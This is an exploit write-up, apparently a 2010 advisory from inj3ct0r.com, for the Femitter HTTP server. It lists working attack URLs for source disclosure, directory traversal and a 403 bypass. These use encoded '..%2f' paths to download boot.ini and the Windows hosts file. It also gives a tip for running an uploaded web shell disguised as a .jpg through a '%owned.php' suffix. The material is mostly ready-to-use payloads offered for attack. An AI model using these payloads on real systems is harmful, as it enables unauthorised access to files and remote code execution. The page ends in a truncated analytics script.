I came up with few vulnerabilities of this .. some vulns are already has been revelied but some are not so lets have a look ********************************************************************************************************************************* HTTP Server ----------- In the Femitter Server Application HTTP tab there are few options to choose, and vulnerability exploitation method will depends on it If the "Combined Server" is selected [Default Setting] ---------------------------------------------------- --== Source Disclosure Vulnerability==-- even some files like .html will able to download from this vulnerability just put "." in the end of the file [+] http://192.168.1.101/index.htm. --==Directory Traversal Vulnerability==-- If the Femitter Server is installed in "Programe File" this will take you to the C Dir C: Dir ------ [+] http://192.168.1.101/..../.. You can move in to dir by doing "../.." but you won't be able to open the files there will be 403 Forbidden Error(still). this is a lame security option in the Femitter Server ********************************************************************************************************************************* Bypassing 403 Forbidden Error ----------------------------- This is lame a security option . This can be easily bypass with hex . lets see how its done This c0de will give you permission to download anyfile [+] http://192.168.1.101/\..%2f..%2f..%2f..%2fboot.ini but if you wana open it in the browser you can add a "%<file.type> in the end --==403 Bypass Example==-- [+] http://192.168.1.101/\..%2f..%2f..%2f..%2fboot.ini%test.txt [+] http://192.168.1.101/\..%2f..%2f..%2f..%2fwindows/system32/drivers/etc/hosts%test.txt ******************************************************************************************************************************** If the "Web Server (to show default doctument or 404 if it doesn't exsist" option is selected --------------------------------------------------------------------------------------------- If this option is activated you might have trouble viewing the directory but still you will be able to see the file and download them [+] http://192.168.1.101/\..%2f..%2f..%2f..%2fboot.ini%test.txt and also this will open it as a readable file on the browser [+] http://192.168.1.101/\..%2f..%2f..%2f..%2fboot.ini% ../ pluse you can use the above application to view unreadable files like .dll .exe . files like .dll .exe will not be open with %text.txt .. this doesnt make sense right eventho .dll .exe is not readable this vulnerability can be quite usefull sometime .. ******************************************************************************************************************************** Tips you can upload a shell renamed .jpg and you will be able to execute it in php like this http://192.168.1.101/evilshell.jpg%owned.php ********************************************************************************************************************************* # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-02]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ?
